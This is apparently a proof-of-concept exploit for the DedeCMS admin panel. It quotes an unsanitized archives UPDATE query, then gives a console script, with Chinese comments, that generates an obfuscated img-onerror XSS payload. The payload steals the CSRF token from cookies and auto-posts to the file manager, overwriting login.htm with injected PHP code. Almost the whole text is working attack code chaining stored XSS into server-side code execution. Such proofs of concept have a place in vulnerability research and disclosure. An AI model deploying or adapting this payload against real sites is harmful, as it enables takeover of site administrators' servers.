$query = "UPDATE `#@__archives` SET typeid='$typeid',typeid2='$typeid2',sortrank='$sortrank',flag='$flag',click='$click',ismake='$ismake',arcrank='$arcrank',money='$money',title='$title',color='$color',writer='$writer',source='$source',litpic='$litpic',pubdate='$pubdate',notpost='$notpost',description='$description',keywords='$keywords',shorttitle='$shorttitle',filename='$filename',dutyadmin='$adminid',weight='$weight' WHERE id='$id'; ";

//将此脚本放在浏览器控制台执行即可获得payload
var codeString = "//  获取URL\n" +
    "var url = document.URL;\n" +
    "var domainMatch = url.match(/^(https?:\\/\\/[^/]+)/);\n" +
    "var domain = domainMatch[1];\n" +
    "\n" +
    "//  获取Cookie\n" +
    "var cookieString = document.cookie;\n" +
    "\n" +
    "// 创建一个新的 form 元素\n" +
    "var form = document.createElement(\"form\");\n" +
    "\n" +
    "// 设置 form 的属性\n" +
    "form.setAttribute(\"method\", \"POST\");\n" +
    "form.setAttribute(\"action\", domain+\"/admin/file_manage_control.php\");\n" +
    "\n" +
    "// 使用正则表达式匹配 dede_csrf_token 的值\n" +
    "var csrfTokenMatch = cookieString.match(/dede_csrf_token=([^;]+)/);\n" +
    "\n" +
    "// 提取匹配到的值\n" +
    "var csrfTokenValue = csrfTokenMatch[1]; // 提取匹配到的值\n" +
    "\n" +
    "// 创建并设置隐藏字段\n" +
    "var fields = [\n" +
    "  { name: \"fmdo\", value: \"edit\" },\n" +
    "  { name: \"backurl\", value: \"\" },\n" +
    "  { name: \"_csrf_token\", value: csrfTokenValue },\n" +
    "  { name: \"activepath\", value: \"/admin/templets\" },\n" +
    "  { name: \"filename\", value: \"login.htm\" },\n" +
    "  { name: \"str\", value: \"1<?php phpinfo();?>\" },\n" +
    "  { name: \"B1\", value: \"\" }\n" +
    "];\n" +
    "\n" +
    "// 遍历字段数组并创建相应的 input 元素\n" +
    "fields.forEach(function (field) {\n" +
    "  var input = document.createElement(\"input\");\n" +
    "  input.setAttribute(\"type\", \"hidden\");\n" +
    "  input.setAttribute(\"name\", field.name);\n" +
    "  input.setAttribute(\"value\", field.value);\n" +
    "  form.appendChild(input);\n" +
    "});\n" +
    "\n" +
    "// 创建一个提交按钮并添加到 form 中\n" +
    "var submitButton = document.createElement(\"input\");\n" +
    "submitButton.setAttribute(\"type\", \"submit\");\n" +
    "submitButton.setAttribute(\"value\", \"Submit request\");\n" +
    "form.appendChild(submitButton);\n" +
    "\n" +
    "// 将 form 添加到文档中并自动提交\n" +
    "document.body.appendChild(form);\n" +
    "form.submit();";
var asciiArray = [];
for (var i = 0; i < codeString.length; i++) {
    asciiArray.push(codeString.charCodeAt(i));
}
var asciiString = asciiArray.join(',');
console.log('<img src="x"\n  onerror="eval(String.fromCharCode('+asciiString+'))">')